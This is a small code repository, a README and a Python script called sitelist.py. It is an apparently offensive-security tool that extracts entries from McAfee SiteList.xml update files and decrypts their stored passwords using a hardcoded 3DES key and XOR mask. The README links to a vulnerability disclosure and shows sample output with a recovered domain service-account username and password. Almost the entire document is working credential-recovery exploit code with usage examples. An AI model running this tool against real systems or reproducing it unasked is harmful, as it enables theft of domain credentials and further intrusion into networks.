├── README.md └── sitelist.py /README.md: -------------------------------------------------------------------------------- 1 | McAfee SiteList Tool 2 | ==================== 3 | This tool will extract useful information from the McAfee update SiteList file and decrypt the associated password for each entry. 4 | 5 | For more information about this vulnerability see [McAfee SiteList.XML Domain Credentials Disclosure](http://warchest.fusionx.com/mcafee-sitelist-xml-domain-credentials-disclosure/) 6 | 7 | Usage 8 | ----- 9 | 10 | usage: sitelist.py [options] 11 | 12 | McAfee SiteList Decryptor v1.0 - david.rude@fusionx.com 13 | 14 | optional arguments: 15 | -h, --help show this help message and exit 16 | -f file sitelist.xml file to decrypt 17 | -p password base64 encoded password 18 | 19 | Example usage: 20 | 21 | $ python sitelist.py -f SiteList.xml 22 | ___________ .__ ____ ___ 23 | \_ _____/_ __ _____|__| ____ ____ \ \/ / 24 | | __)| | \/ ___/ |/ _ \ / \ \ / 25 | | \ | | /\___ \| ( <_> ) | \/ \ 26 | \___ / |____//____ >__|\____/|___| /___/\ \ 27 | \/ \/ \/ \_/ 28 | -------------------[warchest]------------------- 29 | McAfee SiteList.XML Decryptor Version 1.0 30 | 31 | http://github.com/fxwarchest 32 | 33 | 34 | HttpSite 35 | ============================================= 36 | Server update.nai.com:80 37 | RelativePath Products/CommonUpdater 38 | Username (empty) 39 | Password (empty) 40 | ============================================= 41 | 42 | 43 | UNCSite 44 | ============================================= 45 | Server server 46 | RelativePath (empty) 47 | Share TestShare 48 | Domain TestDomain 49 | Username McSvcAccount 50 | Password Password1 51 | ============================================= 52 | 53 | 54 | SpipeSite 55 | ============================================= 56 | Server server.pwnag3.local:80 57 | ServerIP 192.168.209.10:80 58 | RelativePath Software 59 | Username (empty) 60 | Password (empty) 61 | ============================================= 62 | 63 | -------------------------------------------------------------------------------- /sitelist.py: -------------------------------------------------------------------------------- 1 | ## 2 | # McAfee SiteList.xml Decryptor 3 | ## 4 | import os 5 | import sys 6 | import base64 7 | import argparse 8 | from xml.dom import minidom 9 | 10 | try: 11 | from Crypto.Cipher import DES3 12 | except: 13 | print "Crypto module required. Please install it via pip." 14 | sys.exit(1) 15 | 16 | def banner(): 17 | logo = ''' 18 | ___________ .__ ____ ___ 19 | \_ _____/_ __ _____|__| ____ ____ \ \/ / 20 | | __)| | \/ ___/ |/ _ \ / \ \ / 21 | | \ | | /\___ \| ( <_> ) | \/ \ 22 | \___ / |____//____ >__|\____/|___| /___/\ \\ 23 | \/ \/ \/ \_/ 24 | -------------------[warchest]------------------- 25 | McAfee SiteList.XML Decryptor Version 1.0 26 | 27 | http://github.com/fxwarchest 28 | ''' 29 | print logo 30 | 31 | def print_results(credentials): 32 | print "\n" 33 | for cred in credentials: 34 | if 'site' in cred: 35 | print "%s" % cred['site'] 36 | print "=============================================" 37 | if 'server' in cred: 38 | print "Server %s" % cred['server'] 39 | if 'serverip' in cred: 40 | print "ServerIP %s" % cred['serverip'] 41 | if 'rpath' in cred: 42 | print "RelativePath %s" % cred['rpath'] 43 | if 'share' in cred: 44 | print "Share %s" % cred['share'] 45 | if 'domain' in cred: 46 | print "Domain %s" % cred['domain'] 47 | if 'username' in cred: 48 | print "Username %s" % cred['username'] 49 | if 'password' in cred: 50 | print "Password %s" % cred['password'] 51 | print "=============================================\n\n" 52 | 53 | def parse_sitelist(file): 54 | xmldoc = minidom.parse(file) 55 | root = xmldoc.firstChild 56 | 57 | sitelist = root.getElementsByTagName('SiteList')[0] 58 | if sitelist.hasChildNodes == False: 59 | print "SiteList is empty" 60 | sys.exit(1) 61 | 62 | credentials = [] 63 | for node in sitelist.childNodes: 64 | cred = {} 65 | cred['site'] = node.nodeName 66 | if node.hasAttribute('Server'): 67 | cred['server'] = node.getAttribute('Server') 68 | if node.hasAttribute('ServerIP'): 69 | cred['serverip'] = node.getAttribute('ServerIP') 70 | 71 | for child in node.childNodes: 72 | if child.nodeName == "ShareName": 73 | if child.hasChildNodes(): 74 | Share = child.childNodes[0].data 75 | else: 76 | Share = "(empty)" 77 | cred['share'] = Share 78 | 79 | if child.nodeName == "DomainName": 80 | if child.hasChildNodes(): 81 | Domain = child.childNodes[0].data 82 | else: 83 | Domain = "(empty)" 84 | cred['domain'] = Domain 85 | 86 | if child.nodeName == "RelativePath": 87 | if child.hasChildNodes(): 88 | RPath = child.childNodes[0].data 89 | else: 90 | RPath = "(empty)" 91 | cred['rpath'] = RPath 92 | 93 | if child.nodeName == "UserName": 94 | if child.hasChildNodes(): 95 | Username = child.childNodes[0].data 96 | else: 97 | Username = "(empty)" 98 | cred['username'] = Username 99 | 100 | if child.nodeName == "Password": 101 | if child.hasChildNodes(): 102 | Password = decrypt(child.childNodes[0].data) 103 | else: 104 | Password = "(empty)" 105 | 106 | if len(Password) == 0: 107 | Password = "(empty)" 108 | cred['password'] = Password 109 | 110 | credentials.append(cred) 111 | return credentials 112 | 113 | def decrypt(encoded): 114 | key = "3ef136b8b33befbc3426a7b54ec41a377cd3199b00000000".decode('hex') 115 | xor_key = [0x12, 0x15, 0x0f, 0x10, 0x11, 0x1c, 0x1a, 0x06, 0x0a, 0x1f, 0x1b, 0x18, 0x17, 0x16, 0x05, 0x19] 116 | decoded = base64.b64decode(encoded) 117 | 118 | xored = "" 119 | for i in range(0, len(decoded)): 120 | xored += chr(ord(decoded[i]) ^ xor_key[i % len(xor_key)]) 121 | 122 | cipher = DES3.new(key, DES3.MODE_ECB) 123 | decryptedString = cipher.decrypt(xored) 124 | 125 | password = "" 126 | for i in range(0, len(decryptedString)): 127 | if decryptedString[i] == '\x00': 128 | password = decryptedString[0:i] 129 | break 130 | 131 | return password 132 | 133 | def main(): 134 | banner() 135 | parser = argparse.ArgumentParser(usage = '%(prog)s [options]') 136 | parser.add_argument("-f", dest = "file", metavar = "file", type = str, help = "sitelist.xml file to decrypt") 137 | parser.add_argument("-p", dest = "password", metavar = "password", type = str, help = "base64 encoded password") 138 | 139 | if len(sys.argv) <= 1: 140 | parser.print_help() 141 | 142 | args = parser.parse_args() 143 | 144 | if(args.file): 145 | if(os.path.isfile(args.file)): 146 | credentials = parse_sitelist(args.file) 147 | print_results(credentials) 148 | else: 149 | print "Error the specified file does not exist." 150 | sys.exit(1) 151 | 152 | if(args.password): 153 | password = decrypt(args.password) 154 | print "Decrypted Password: %s\n" % password 155 | 156 | if __name__ == "__main__": 157 | main() --------------------------------------------------------------------------------